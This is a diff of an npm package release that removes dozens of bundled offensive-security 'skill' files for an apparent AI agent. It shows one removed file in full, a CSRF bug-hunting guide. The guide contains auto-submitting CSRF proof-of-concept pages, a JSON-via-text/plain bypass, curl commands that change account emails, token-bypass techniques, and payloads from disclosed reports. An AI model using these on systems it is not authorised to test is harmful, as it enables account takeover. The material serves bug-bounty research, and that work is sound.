@hostclubeos/miraos 0.0.4-beta → 0.0.5-beta

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (147) hide show
  1. package/bundled/bug-hunter/SKILL.md +7 -0
  2. package/chunks/{acpAgent-F4OT4AQQ.js → acpAgent-UHWDA3W7.js} +2 -2
  3. package/chunks/{chunk-ECNTMKHI.js → chunk-2GVKPBW5.js} +1 -1
  4. package/chunks/{chunk-HPGUQCRQ.js → chunk-2TDRP3IX.js} +1 -1
  5. package/chunks/{chunk-C24YTZET.js → chunk-4IVYVCCU.js} +1 -1
  6. package/chunks/{chunk-CKBEAZAV.js → chunk-62DMHXLL.js} +1 -1
  7. package/chunks/{chunk-AYU4PDSQ.js → chunk-744QTJR2.js} +2 -2
  8. package/chunks/{chunk-4XV2522J.js → chunk-D3YOXHQF.js} +1 -1
  9. package/chunks/{chunk-5SJFYZQJ.js → chunk-FRADUGRC.js} +1 -1
  10. package/chunks/{chunk-WDLXS4A3.js → chunk-FXANOHXI.js} +3 -3
  11. package/chunks/{chunk-JM46SKXF.js → chunk-MQWKOOSR.js} +1 -1
  12. package/chunks/{chunk-4TJKJ2LG.js → chunk-MUS4ADP7.js} +1 -1
  13. package/chunks/{chunk-FUIRLSNA.js → chunk-N4RIISOE.js} +1 -1
  14. package/chunks/{chunk-PUPIORBU.js → chunk-NKWATWMD.js} +1 -1
  15. package/chunks/{chunk-7LXU4NUI.js → chunk-NYM67KKZ.js} +1 -1
  16. package/chunks/{chunk-TIWH3MUJ.js → chunk-PXBJPUGN.js} +1 -1
  17. package/chunks/{chunk-LISKSG7B.js → chunk-QEIX42MZ.js} +1 -1
  18. package/chunks/{chunk-BZMSTSKY.js → chunk-RKFNQQNA.js} +1 -1
  19. package/chunks/{chunk-AXBNQS6C.js → chunk-SK3QOQR4.js} +1 -1
  20. package/chunks/{chunk-33G7MOU6.js → chunk-XZNF4YNN.js} +1 -1
  21. package/chunks/{daemon-status-provider-NBPLE4JN.js → daemon-status-provider-F6KB2LNG.js} +1 -1
  22. package/chunks/{fast-path-66F2TWKE.js → fast-path-DWPD5EGQ.js} +1 -1
  23. package/chunks/{llm-LZ3HARC2.js → llm-RBI7KXDE.js} +3 -3
  24. package/chunks/{local-6KBSW7N2.js → local-HSG47CNJ.js} +1 -1
  25. package/chunks/{managed-local-serve-2N3IAB3D.js → managed-local-serve-YE4JDFNP.js} +1 -1
  26. package/chunks/{managed-runtime-bootstrap-M4P43K7W.js → managed-runtime-bootstrap-SHEXUEZN.js} +1 -1
  27. package/chunks/{managed-runtime-ssh-worker-WWZ7SJ7U.js → managed-runtime-ssh-worker-BZNJV7IB.js} +1 -1
  28. package/chunks/{memory-D62BXIJW.js → memory-JTDN5AEA.js} +1 -1
  29. package/chunks/{nonInteractiveCli-Z4A7THMG.js → nonInteractiveCli-BXHX6EIU.js} +1 -1
  30. package/chunks/{review-LM7KW6Y5.js → review-PC4IDLCG.js} +1 -1
  31. package/chunks/{run-qwen-serve-77UZS4JA.js → run-qwen-serve-XRWVWOZK.js} +1 -1
  32. package/chunks/{serve-RHO7RZ45.js → serve-JCUT4WK7.js} +1 -1
  33. package/chunks/{server-5HEOZG3T.js → server-HMTRZJF7.js} +1 -1
  34. package/chunks/{session-RT7VH6GE.js → session-RGLZU6KY.js} +1 -1
  35. package/chunks/{start-opentui-ui-I2XXWTJS.js → start-opentui-ui-YNTPK7LX.js} +1 -1
  36. package/chunks/{startInteractiveUI-774LJIJD.js → startInteractiveUI-MWA2VYTJ.js} +1 -1
  37. package/chunks/{validateNonInterActiveAuth-633WYCVH.js → validateNonInterActiveAuth-3433WFLE.js} +1 -1
  38. package/chunks/{version-77KBVA2F.js → version-XCFKTEY3.js} +1 -1
  39. package/cli.js +1 -1
  40. package/package.json +2 -2
  41. package/bundled/bug-hunter/references/apk-redteam-pipeline/SKILL.md +0 -407
  42. package/bundled/bug-hunter/references/bb-local-toolkit/SKILL.md +0 -1558
  43. package/bundled/bug-hunter/references/bb-methodology/SKILL.md +0 -513
  44. package/bundled/bug-hunter/references/bug-bounty/SKILL.md +0 -1604
  45. package/bundled/bug-hunter/references/bugcrowd-reporting/SKILL.md +0 -331
  46. package/bundled/bug-hunter/references/cloud-iam-deep/SKILL.md +0 -521
  47. package/bundled/bug-hunter/references/enterprise-vpn-attack/SKILL.md +0 -356
  48. package/bundled/bug-hunter/references/evidence-hygiene/SKILL.md +0 -401
  49. package/bundled/bug-hunter/references/exploit-completion/SKILL.md +0 -155
  50. package/bundled/bug-hunter/references/hunt-api-misconfig/SKILL.md +0 -268
  51. package/bundled/bug-hunter/references/hunt-aspnet/SKILL.md +0 -277
  52. package/bundled/bug-hunter/references/hunt-ato/SKILL.md +0 -140
  53. package/bundled/bug-hunter/references/hunt-auth-bypass/SKILL.md +0 -449
  54. package/bundled/bug-hunter/references/hunt-brute-force/SKILL.md +0 -297
  55. package/bundled/bug-hunter/references/hunt-business-logic/SKILL.md +0 -237
  56. package/bundled/bug-hunter/references/hunt-cache-poison/SKILL.md +0 -338
  57. package/bundled/bug-hunter/references/hunt-captcha-bypass/SKILL.md +0 -92
  58. package/bundled/bug-hunter/references/hunt-cicd/SKILL.md +0 -267
  59. package/bundled/bug-hunter/references/hunt-clickjacking/SKILL.md +0 -66
  60. package/bundled/bug-hunter/references/hunt-cloud-misconfig/SKILL.md +0 -195
  61. package/bundled/bug-hunter/references/hunt-cors/SKILL.md +0 -291
  62. package/bundled/bug-hunter/references/hunt-csrf/SKILL.md +0 -374
  63. package/bundled/bug-hunter/references/hunt-deserialization/SKILL.md +0 -178
  64. package/bundled/bug-hunter/references/hunt-dispatch/SKILL.md +0 -380
  65. package/bundled/bug-hunter/references/hunt-dom/SKILL.md +0 -279
  66. package/bundled/bug-hunter/references/hunt-exceptional-conditions/SKILL.md +0 -67
  67. package/bundled/bug-hunter/references/hunt-file-upload/SKILL.md +0 -158
  68. package/bundled/bug-hunter/references/hunt-fintech-graphql/SKILL.md +0 -245
  69. package/bundled/bug-hunter/references/hunt-forgot-password/SKILL.md +0 -70
  70. package/bundled/bug-hunter/references/hunt-graphql/SKILL.md +0 -368
  71. package/bundled/bug-hunter/references/hunt-grpc/SKILL.md +0 -273
  72. package/bundled/bug-hunter/references/hunt-host-header/SKILL.md +0 -265
  73. package/bundled/bug-hunter/references/hunt-html-injection/SKILL.md +0 -62
  74. package/bundled/bug-hunter/references/hunt-http-smuggling/SKILL.md +0 -87
  75. package/bundled/bug-hunter/references/hunt-idor/SKILL.md +0 -389
  76. package/bundled/bug-hunter/references/hunt-jwt-crypto/SKILL.md +0 -177
  77. package/bundled/bug-hunter/references/hunt-k8s/SKILL.md +0 -293
  78. package/bundled/bug-hunter/references/hunt-laravel/SKILL.md +0 -211
  79. package/bundled/bug-hunter/references/hunt-ldap/SKILL.md +0 -307
  80. package/bundled/bug-hunter/references/hunt-lfi/SKILL.md +0 -266
  81. package/bundled/bug-hunter/references/hunt-llm-ai/SKILL.md +0 -245
  82. package/bundled/bug-hunter/references/hunt-mfa-bypass/SKILL.md +0 -134
  83. package/bundled/bug-hunter/references/hunt-misc/SKILL.md +0 -333
  84. package/bundled/bug-hunter/references/hunt-nextjs/SKILL.md +0 -255
  85. package/bundled/bug-hunter/references/hunt-nodejs/SKILL.md +0 -219
  86. package/bundled/bug-hunter/references/hunt-nosqli/SKILL.md +0 -166
  87. package/bundled/bug-hunter/references/hunt-ntlm-info/SKILL.md +0 -270
  88. package/bundled/bug-hunter/references/hunt-oauth/SKILL.md +0 -414
  89. package/bundled/bug-hunter/references/hunt-open-redirect/SKILL.md +0 -179
  90. package/bundled/bug-hunter/references/hunt-race-condition/SKILL.md +0 -485
  91. package/bundled/bug-hunter/references/hunt-rag-vector/SKILL.md +0 -167
  92. package/bundled/bug-hunter/references/hunt-rce/SKILL.md +0 -494
  93. package/bundled/bug-hunter/references/hunt-saml/SKILL.md +0 -112
  94. package/bundled/bug-hunter/references/hunt-session/SKILL.md +0 -298
  95. package/bundled/bug-hunter/references/hunt-shadow-api/SKILL.md +0 -153
  96. package/bundled/bug-hunter/references/hunt-sharepoint/SKILL.md +0 -437
  97. package/bundled/bug-hunter/references/hunt-source-leak/SKILL.md +0 -301
  98. package/bundled/bug-hunter/references/hunt-spa-api/SKILL.md +0 -123
  99. package/bundled/bug-hunter/references/hunt-springboot/SKILL.md +0 -241
  100. package/bundled/bug-hunter/references/hunt-sqli/SKILL.md +0 -422
  101. package/bundled/bug-hunter/references/hunt-ssrf/SKILL.md +0 -514
  102. package/bundled/bug-hunter/references/hunt-ssti/SKILL.md +0 -117
  103. package/bundled/bug-hunter/references/hunt-subdomain/SKILL.md +0 -335
  104. package/bundled/bug-hunter/references/hunt-tls-network/SKILL.md +0 -355
  105. package/bundled/bug-hunter/references/hunt-websocket/SKILL.md +0 -285
  106. package/bundled/bug-hunter/references/hunt-xss/SKILL.md +0 -450
  107. package/bundled/bug-hunter/references/hunt-xxe/SKILL.md +0 -422
  108. package/bundled/bug-hunter/references/ios-redteam-pipeline/SKILL.md +0 -287
  109. package/bundled/bug-hunter/references/m365-entra-attack/SKILL.md +0 -384
  110. package/bundled/bug-hunter/references/meme-coin-audit/SKILL.md +0 -358
  111. package/bundled/bug-hunter/references/mid-engagement-ir-detection/SKILL.md +0 -353
  112. package/bundled/bug-hunter/references/offensive-osint/README.md +0 -98
  113. package/bundled/bug-hunter/references/offensive-osint/SKILL.md +0 -399
  114. package/bundled/bug-hunter/references/offensive-osint/references/breach-and-credentials.md +0 -128
  115. package/bundled/bug-hunter/references/offensive-osint/references/dork-corpus.md +0 -180
  116. package/bundled/bug-hunter/references/offensive-osint/references/helpers-and-automation.md +0 -231
  117. package/bundled/bug-hunter/references/offensive-osint/references/identity-fabric.md +0 -305
  118. package/bundled/bug-hunter/references/offensive-osint/references/people-osint.md +0 -105
  119. package/bundled/bug-hunter/references/offensive-osint/references/probes-and-wordlists.md +0 -1266
  120. package/bundled/bug-hunter/references/offensive-osint/references/recon-stack.md +0 -282
  121. package/bundled/bug-hunter/references/offensive-osint/references/recon-techniques.md +0 -341
  122. package/bundled/bug-hunter/references/offensive-osint/references/saas-public-surfaces.md +0 -138
  123. package/bundled/bug-hunter/references/offensive-osint/references/secret-patterns.md +0 -67
  124. package/bundled/bug-hunter/references/offensive-osint/references/secret-validators.md +0 -329
  125. package/bundled/bug-hunter/references/offensive-osint/references/sector-notes.md +0 -72
  126. package/bundled/bug-hunter/references/offensive-osint/references/severity-matrix.md +0 -108
  127. package/bundled/bug-hunter/references/offensive-osint/references/specialized-osint.md +0 -199
  128. package/bundled/bug-hunter/references/offensive-osint/references/tooling-install.md +0 -188
  129. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/FONT-LICENSE.txt +0 -13
  130. package/bundled/bug-hunter/references/offensive-osint/scripts/assets/archivo-black.woff2 +0 -0
  131. package/bundled/bug-hunter/references/offensive-osint/scripts/dashboard.py +0 -968
  132. package/bundled/bug-hunter/references/offensive-osint/scripts/h1_reference.py +0 -402
  133. package/bundled/bug-hunter/references/offensive-osint/scripts/secret_scan.py +0 -180
  134. package/bundled/bug-hunter/references/okta-attack/SKILL.md +0 -397
  135. package/bundled/bug-hunter/references/osint-methodology/README.md +0 -66
  136. package/bundled/bug-hunter/references/osint-methodology/SKILL.md +0 -1704
  137. package/bundled/bug-hunter/references/recon-scope-triage/SKILL.md +0 -89
  138. package/bundled/bug-hunter/references/redteam-mindset/SKILL.md +0 -401
  139. package/bundled/bug-hunter/references/redteam-report-template/SKILL.md +0 -347
  140. package/bundled/bug-hunter/references/regression-hunting/SKILL.md +0 -98
  141. package/bundled/bug-hunter/references/report-writing/SKILL.md +0 -568
  142. package/bundled/bug-hunter/references/security-arsenal/SKILL.md +0 -912
  143. package/bundled/bug-hunter/references/supply-chain-attack-recon/SKILL.md +0 -648
  144. package/bundled/bug-hunter/references/triage-validation/SKILL.md +0 -418
  145. package/bundled/bug-hunter/references/vmware-vcenter-attack/SKILL.md +0 -372
  146. package/bundled/bug-hunter/references/web2-recon/SKILL.md +0 -698
  147. package/bundled/bug-hunter/references/web3-audit/SKILL.md +0 -606
@@ -1,374 +0,0 @@
1
- ---
2
- name: hunt-csrf
3
- description: Hunting skill for csrf vulnerabilities. Built from 15 public bug bounty reports including modern variants — SameSite=Lax sibling-subdomain bypass (Argo CD CVE-2024-22424), GraphQL mutations-via-GET (GitLab $3,370), framework-wide CSRF middleware disabled (Stripe Dashboard $5,000), path-traversal CSRF-token bypass (GitHub Enterprise CVE-2022-23732 $10k), Origin-omission bypass (TikTok $2,500), OAuth-state null-byte (Streamlabs), WebSocket CSRF / CSWSH (Coda), default-SameSite email-change → ATO (YoYo Games $400), social-account-link CSRF (HackerOne), JSON-CSRF via text/plain on email-change (TikTok $500). Use when hunting modern CSRF — heavy emphasis on chain-to-ATO patterns.
4
- sources: github, hackerone_public, bugcrowd_public, github_security_advisories
5
- report_count: 18
6
- ---
7
-
8
- ## Shortcut: a raw HTTP client beats a real cross-origin page for header-check CSRF
9
-
10
- A raw HTTP client (curl, Burp Repeater, any scripting client) is not a browser: it will send
11
- whatever `Origin`/`Referer` header VALUE you set, from any path, on the same connection as your
12
- authenticated cookie. Many apps that claim to defend against CSRF only do a naive **string check**
13
- on the incoming `Origin`/`Referer` header (does it contain/equal some expected value?) rather than
14
- real same-origin enforcement — you can satisfy that check directly by setting the header, with no
15
- actual cross-site delivery (hosting an HTML page, a headless browser) required. This is faster and
16
- more reliable than building a real attacker page for this exact pattern:
17
- ```
18
- POST /profile HTTP/1.1
19
- Content-Type: application/x-www-form-urlencoded
20
- Origin: https://a-domain-the-app-treats-as-trusted-or-attacker-controlled.example
21
- Cookie: <authenticated session>
22
-
23
- username=csrf_poc
24
- ```
25
- If some text names a SPECIFIC origin/domain as the "expected" attacker page, that literal value is
26
- often exactly what the server's check is looking for — try it verbatim in `Origin` (fall back to
27
- `Referer` if `Origin` alone doesn't flip it). Only build a real cross-origin page (actual browser
28
- delivery) when the target does genuine SameSite/fetch-based origin enforcement that a spoofed header
29
- can't satisfy.
30
-
31
- ## Autonomous Testing Priority
32
-
33
- **CSRF only matters on state-changing actions that a browser could be tricked into making cross-site.**
34
-
35
- **Testing flow:**
36
- 1. **GET the form endpoint** to establish a baseline and check what fields exist (look for hidden `csrf_token`, `authenticity_token`, `_token`, `csrfmiddlewaretoken` fields).
37
- 2. **POST the state-changing action without any CSRF token field.** Send only the functional parameters (email, amount, etc.).
38
- 3. **Use a "simple-request" Content-Type** — `application/x-www-form-urlencoded`, `multipart/form-data`, OR `text/plain` are the three CORS "simple" content-types a cross-origin form can send with no preflight. A JSON endpoint is CSRF-resistant **only if the server rejects those** — if it also accepts a `text/plain` body (common), craft a `text/plain` payload that parses as valid JSON (see the JSON-CSRF-via-text/plain section). Don't skip a JSON endpoint on the assumption that `application/json` alone is protective.
39
- 4. **If the action succeeds (2xx, no "invalid token" error) → CSRF is confirmed.**
40
-
41
- **High-value targets (in order of impact):**
42
- - Email/password change → account takeover
43
- - Money transfer or payment → financial fraud
44
- - Admin actions (role assignment, user deletion)
45
- - OAuth social-account linking → persistent ATO
46
-
47
- **Token bypass techniques when a token IS present:**
48
- - Omit the token field entirely — some frameworks only validate if the field exists, not if it's absent
49
- - Send an empty value (`_token=`) — some validate format, not presence
50
- - Copy a token from another session — some tokens aren't tied to the session
51
-
52
- **Scope:** Don't test CSRF on login forms (no existing session to exploit), logout (no real impact), or read-only GET endpoints.
53
-
54
- ---
55
-
56
- ## Crown Jewel Targets
57
-
58
- CSRF becomes high-value when it touches **state-changing actions with account-level or financial consequences**. The highest-paying targets are:
59
-
60
- - **Account takeover vectors**: OAuth/SSO flows (RelayState manipulation), social account linking/unlinking (Oculus-Facebook, SocialClub), import-friends features that expose OAuth tokens
61
- - **Authentication infrastructure**: Login CSRF, session fixation via CSRF, forced account association
62
- - **API endpoints accepting cross-origin POST**: JSON APIs, heartbeat/activity APIs, anything that skips Content-Type enforcement
63
- - **Third-party integrations**: Grafana, monitoring dashboards, embedded analytics — often lag on CSRF protections
64
- - **Social platforms**: Twitter/X collections, friend imports, social graph mutations — high-volume, authenticated actions with real user impact
65
-
66
- **Asset types that pay most:** Core product auth flows > API gateways > third-party integrations running on subdomains > admin panels.
67
-
68
- ---
69
-
70
- ## Attack Surface Signals
71
-
72
- ### URL Patterns
73
- ```
74
- /oauth/authorize?RelayState=
75
- /accounts/link
76
- /import/friends
77
- /api/v*/heartbeat
78
- /api/v*/collect
79
- /monitoring/* (Grafana, Prow, Prometheus)
80
- /auth/saml/callback
81
- /connect/* (social integrations)
82
- ```
83
-
84
- ### Response Header Signals
85
- ```
86
- # Missing or weak SameSite cookie attributes
87
- Set-Cookie: session=abc123; HttpOnly # no SameSite = vulnerable
88
- Set-Cookie: session=abc123; SameSite=None # explicitly allows cross-site
89
-
90
- # Missing CSRF headers
91
- # No X-Frame-Options or permissive CORS
92
- Access-Control-Allow-Origin: *
93
- Access-Control-Allow-Credentials: true # dangerous combo
94
- ```
95
-
96
- ### JS / DOM Patterns
97
- ```javascript
98
- // Static or predictable CSRF tokens
99
- meta[name="csrf-token"] // grep if value changes across sessions
100
- authenticity_token // Rails — check if reused across page loads
101
-
102
- // JSON endpoints without Content-Type enforcement
103
- fetch('/api/heartbeat', {method: 'POST', body: JSON.stringify(data)})
104
-
105
- // No CSRF token in form at all
106
- <form method="POST" action="/accounts/link"> // no hidden token field
107
- ```
108
-
109
- ### Tech Stack Signals
110
- - **Rails apps**: Look for `authenticity_token` — test if it's static per session
111
- - **Django apps**: Check `csrfmiddlewaretoken` — test cross-user/session reuse
112
- - **Grafana instances**: CVE-2022-21703 — check version via `/api/health`
113
- - **SAMLv2/OIDC flows**: `RelayState` parameter rarely validated
114
- - **Express/Node APIs**: Often skip CSRF middleware on `/api/*` routes
115
-
116
- ---
117
-
118
- ## Step-by-Step Hunting Methodology
119
-
120
- 1. **Map all state-changing endpoints** — Spider authenticated session, filter for POST/PUT/DELETE/PATCH. Note every form and AJAX call.
121
-
122
- 2. **Check cookie SameSite attributes** — In DevTools → Application → Cookies. Flag any session cookie without `SameSite=Strict` or `Lax`.
123
-
124
- 3. **Test token staticness** — Log in twice (different sessions or incognito). Compare `authenticity_token` / `csrfmiddlewaretoken` / `csrf-token` values across:
125
- - Same session, different page loads (should be different)
126
- - Different sessions for same user
127
- - Different users entirely
128
-
129
- 4. **Test token omission** — Remove the CSRF token field entirely from a POST request. If the server returns 200, you have CSRF.
130
-
131
- 5. **Test token substitution** — Replace the token with one from a different session. Server accepting it = broken validation.
132
-
133
- 6. **Test JSON endpoints for form-POST CSRF** — Check if Content-Type is enforced:
134
- - Send `application/x-www-form-urlencoded` to a JSON endpoint
135
- - Send `text/plain` with a JSON body
136
- - If accepted, HTML form can trigger it cross-origin
137
-
138
- 7. **Hunt OAuth/SSO RelayState** — Intercept SAML/OIDC flows. Test if `RelayState` is validated for same-origin. Inject external URLs.
139
-
140
- 8. **Check social linking flows** — Every "connect your X account" feature. These often use redirect-based OAuth where CSRF on the callback can associate an attacker's social account.
141
-
142
- 9. **Test third-party dashboards on subdomains** — Grafana, Kibana, Prometheus. Check version, apply known CVEs, test default CSRF posture.
143
-
144
- 10. **Build PoC HTML page** — Host on a different origin, fire the request, confirm cookies are sent and action executes.
145
-
146
- ---
147
-
148
- ## Payload & Detection Patterns
149
-
150
- ### Basic CSRF PoC (Form POST)
151
- ```html
152
- <html>
153
- <body onload="document.forms[0].submit()">
154
- <form method="POST" action="https://target.com/api/v1/account/link">
155
- <input type="hidden" name="provider" value="attacker_account_id" />
156
- <input type="hidden" name="token" value="oauth_token_here" />
157
- </form>
158
- </body>
159
- </html>
160
- ```
161
-
162
- ### JSON CSRF via text/plain (bypasses Content-Type check)
163
- ```html
164
- <html>
165
- <body onload="document.forms[0].submit()">
166
- <form method="POST" action="https://target.com/api/heartbeat"
167
- enctype="text/plain">
168
- <!-- browser sends: {"status":"ok","x":"=padding"} -->
169
- <input type="hidden" name='{"status":"ok","x":"' value='padding"}' />
170
- </form>
171
- </body>
172
- </html>
173
- ```
174
-
175
- ### curl: Test CSRF token omission
176
- ```bash
177
- # Capture a valid request, then replay without token
178
- curl -s -X POST https://target.com/settings/email \
179
- -H "Cookie: session=YOUR_SESSION" \
180
- -d "email=attacker@evil.com" \
181
- -v 2>&1 | grep -E "HTTP|location|error"
182
- ```
183
-
184
- ### curl: Test token reuse across sessions
185
- ```bash
186
- # Get token from session A
187
- TOKEN_A=$(curl -s https://target.com/settings -H "Cookie: session=SESSION_A" \
188
- | grep -oP 'authenticity_token[^"]*value="\K[^"]+')
189
-
190
- # Use token A in session B's request
191
- curl -s -X POST https://target.com/settings/update \
192
- -H "Cookie: session=SESSION_B" \
193
- -d "authenticity_token=$TOKEN_A&email=test@test.com" \
194
- -v
195
- ```
196
-
197
- ### Grep patterns for recon
198
- ```bash
199
- # Find CSRF token fields in HTML responses
200
- grep -Eo 'name="(csrf|_token|authenticity_token|csrfmiddlewaretoken)"[^>]*value="[^"]+"'
201
-
202
- # Find forms without CSRF tokens
203
- grep -B5 -A20 '<form method="[Pp][Oo][Ss][Tt]"' response.html | grep -L "csrf\|token\|nonce"
204
-
205
- # Check SameSite in response headers
206
- curl -sI https://target.com/login | grep -i "set-cookie"
207
-
208
- # Find RelayState parameters
209
- grep -r "RelayState" --include="*.js" .
210
- ```
211
-
212
- ### Grafana CVE-2022-21703 version check
213
- ```bash
214
- curl -s https://monitoring.target.com/api/health | jq '.version'
215
- # Vulnerable: < 8.3.5, < 8.4.3, < 7.5.15
216
- ```
217
-
218
- ---
219
-
220
- ## Common Root Causes
221
-
222
- 1. **Static CSRF tokens per session** — Developers generate one token at login and reuse it. Airbnb bug: `authenticity_token` was the same across all page loads for a session, making it trivially leakable.
223
-
224
- 2. **Token not tied to user identity** — Token is valid server-wide or rotates on a schedule, not per-user/session. Mozilla bug: `csrftoken` reusable across users.
225
-
226
- 3. **Missing token on "secondary" endpoints** — Developers protect login/signup but forget API endpoints, import flows, or webhook handlers.
227
-
228
- 4. **JSON API assumption of safety** — Belief that `Content-Type: application/json` prevents CSRF. It does via CORS preflight — unless the server also accepts `text/plain` or `application/x-www-form-urlencoded`.
229
-
230
- 5. **SameSite=None for cross-site embeds** — Developers set `SameSite=None` to support iframe embeds or third-party integrations, inadvertently re-enabling CSRF.
231
-
232
- 6. **OAuth RelayState not validated** — Developers implement SAML/OIDC but treat `RelayState` as a redirect hint, not a CSRF state parameter requiring cryptographic binding.
233
-
234
- 7. **Framework misconfiguration** — CSRF middleware excluded for `/api/*` routes in Django/Rails because "API clients don't need it," but browser-based JS clients do.
235
-
236
- 8. **Third-party software defaults** — Grafana, Kibana, Jenkins shipped with weak or no CSRF protection in older versions; teams don't patch or check.
237
-
238
- ---
239
-
240
- ## Bypass Techniques
241
-
242
- ### Defense: SameSite=Lax cookies
243
- **Bypass:** Top-level navigation GET requests still work. If the sensitive action can be triggered via GET (or if a redirect chain converts POST→GET), Lax doesn't protect it. Also: subdomains can still set cookies for parent domain.
244
-
245
- ### Defense: CSRF token present
246
- **Bypasses:**
247
- - Token is static per session — steal via XSS, Referer leakage, or cached page
248
- - Token not validated server-side — just remove it and try
249
- - Token validated by length/format only — submit a fake but correctly-formatted value
250
- - Token tied to session but session is predictable
251
-
252
- ### Defense: `Content-Type: application/json` enforcement
253
- **Bypass:** Use `text/plain` enctype with crafted form input names that produce valid JSON. Server receives JSON body, skips CORS preflight.
254
-
255
- ### Defense: Referer/Origin header check
256
- **Bypasses:**
257
- - Null Origin: use sandboxed iframe (`<iframe sandbox="allow-scripts allow-forms">`)
258
- - Subdomain bypass: if `*.target.com` is trusted and you have XSS on any subdomain
259
- - Referer stripping: HTTPS→HTTP transitions strip Referer header
260
- - Weak matching: `target.com.evil.com` passes naive string matching
261
-
262
- ### Defense: Double-submit cookie pattern
263
- **Bypass:** If attacker can set cookies (subdomain takeover, cookie injection via HTTP), they can set both the cookie and the form field to matching attacker-controlled values.
264
-
265
- ### Defense: Custom request header (e.g., `X-Requested-With`)
266
- **Bypass:** Simple requests (form POST, `text/plain`) don't trigger preflight and can't set custom headers — but some servers only check for header *presence*, not value, and some frameworks accept requests without it.
267
-
268
- ---
269
-
270
- ### Mobile-app CSRF via custom-scheme deeplink
271
- CSRF is not browser-only. For targets with a mobile app, enumerate exported deeplink / custom-scheme handlers (`scheme://action` from the Android manifest / iOS `Info.plist`) and test whether opening one performs a state-changing action (follow, link, purchase) using the app's ambient session with no CSRF token — deliverable to a victim by a plain link or a QR code. Disclosed: reports/583987, reports/805073.
272
-
273
- ## Gate 0 Validation
274
-
275
- 1. **What can the attacker DO right now?** — The attacker must be able to trigger a specific state-changing action (account linking, email change, data deletion, social association) on behalf of the victim without any interaction beyond visiting a URL or page.
276
-
277
- 2. **What does the victim LOSE?** — Identify the concrete harm: account access (ATO), data exposure, financial loss, reputation damage. "A CSRF token is missing" is not impact — "attacker can link their Oculus account to victim's Facebook account, gaining full profile access" is impact.
278
-
279
- 3. **Can it be reproduced in 10 minutes from scratch?** — You must be able to: (a) create attacker and victim accounts, (b) host a static HTML PoC, (c) have victim visit PoC, (d) confirm the action executed in victim's account — all within 10 minutes with no additional prerequisites.
280
-
281
- ---
282
-
283
- ## Real Impact Examples
284
-
285
- ### Scenario 1: Social Account Takeover via Import Friends (Rockstar Games)
286
- An attacker crafted a malicious page targeting the "Import Friends" OAuth integration. When an authenticated SocialClub user visited the page, the CSRF triggered the OAuth token exchange with an attacker-controlled social account. The victim's SocialClub account became permanently linked to the attacker's Facebook/social identity, enabling full account access without the victim's knowledge. Rated high severity due to complete account compromise path.
287
-
288
- ### Scenario 2: Facebook Account Hijacking via Oculus Integration CSRF
289
- During Oculus-Facebook account linking, the OAuth callback lacked proper CSRF state validation. An attacker could craft a URL that, when loaded by an authenticated Facebook user who had started the Oculus linking flow, would associate the attacker's Oculus device credentials with the victim's Facebook account. The attacker then had persistent access to the victim's Facebook profile through the Oculus app. The attack required only that the victim click a link while logged into Facebook.
290
-
291
- ### Scenario 3: JSON API CSRF on Heartbeat/Activity Tracking
292
- A POST endpoint accepting `application/json` was assumed CSRF-safe by developers. A researcher crafted an HTML form using `enctype="text/plain"` with an input name designed to produce syntactically valid JSON when submitted. The browser sent the request cross-origin without a preflight (no custom headers, `text/plain` is a simple request), cookies were attached, and the server processed the JSON body as legitimate — silently logging attacker-controlled activity data under the victim's account identity.
293
-
294
- ---
295
-
296
- ## Disclosed Report Citations (Backfill +5 — 2020-2024)
297
-
298
- The following real, verified bug-bounty / coordinated-disclosure cases extend this skill. Four cases chain CSRF to full ATO; all five are modern (SameSite-era).
299
-
300
- 11. **Argo CD — SameSite=Lax bypass via sibling subdomain + Content-Type abuse (CVE-2024-22424)** ([GHSA-92mw-q256-5vwg](https://github.com/argoproj/argo-cd/security/advisories/GHSA-92mw-q256-5vwg) · [Writeup](https://blog.calif.io/p/argo-cd-csrf))
301
- - Subclass: SameSite=None/Lax misconfig chain — same parent-domain bypass + JSON CSRF via missing Content-Type enforcement
302
- - Payload: hosted on `marketing.victim.com`, target `argocd.internal.victim.com` → `fetch('https://argocd.internal.victim.com/api/v1/applications', {method:'POST', credentials:'include', body:'{"metadata":{"name":"pwn"},"spec":{"source":{"repoURL":"https://attacker/manifest.git"}}}'})`
303
- - Root cause: Argo CD did not enforce `Content-Type: application/json`, and SameSite=Lax is moot when the attacker controls any sibling subdomain of the shared parent
304
- - Year: 2023 reported, fixed Jan 2024 in 2.7.16/2.8.8/2.9.4
305
-
306
- 12. **GitLab — CSRF on `/api/graphql` via GET-converted mutations** ([H1 #1122408](https://hackerone.com/reports/1122408))
307
- - Subclass: GET-state-changing endpoint (GraphQL mutations through GET requests)
308
- - Payload: `<img src="https://gitlab.com/api/graphql?query=mutation{createSnippet(input:{title:%22x%22,visibilityLevel:public,content:%22pwn%22}){snippet{id}}}">`
309
- - Root cause: backend skipped `X-CSRF-Token` validation when the HTTP method was GET; GraphQL accepted mutations via `?query=mutation{...}` query string
310
- - Year: 2021 — **$3,370**
311
-
312
- 13. **Stripe Dashboard — CSRF middleware disabled by code change** ([H1 #1483327](https://hackerone.com/reports/1483327))
313
- - Subclass: framework misconfiguration — middleware globally disabled
314
- - Payload: `<form method="POST" action="https://dashboard.stripe.com/account/settings" enctype="text/plain"><input name='{"business_name":"pwned","x":"' value='"}'></form>` + auto-submit script
315
- - Root cause: 2022-02-14 deploy inadvertently turned off CSRF middleware across all Stripe Dashboard endpoints
316
- - Year: 2022 — **$5,000** ($2,500 × 2 researchers)
317
-
318
- 14. **GitHub Enterprise Server — CSRF bypass via path traversal (CVE-2022-23732)** ([H1 #1497169](https://hackerone.com/reports/1497169))
319
- - Subclass: CSRF token validation bypass (path traversal smuggles request past token check)
320
- - Payload: `<form method=POST action="https://ghes.victim.com/setup/api/start/..%2f..%2fadmin%2fusers"><input name=login value=attacker></form>`
321
- - Root cause: router matched the post-traversal path for execution but pre-traversal path for CSRF-protection scope, so the protected endpoint was reached without a valid token
322
- - Year: 2022 — **$10,000**
323
-
324
- 15. **HackerOne self — CSRF on social account linking → ATO** ([H1 #1727221](https://hackerone.com/reports/1727221))
325
- - Subclass: account-link CSRF (social provider attach without state binding)
326
- - Payload: `<img src="https://hackerone.com/users/social_accounts/google?code=ATTACKER_CODE&state=PREDICTABLE">` — victim's browser completes attacker-initiated link flow
327
- - Root cause: token bound to OAuth-link callback was either reused across attempts or not user-bound, so attacker-issued link callbacks were accepted on the victim's session — attacker's Google account becomes a valid login path = ATO
328
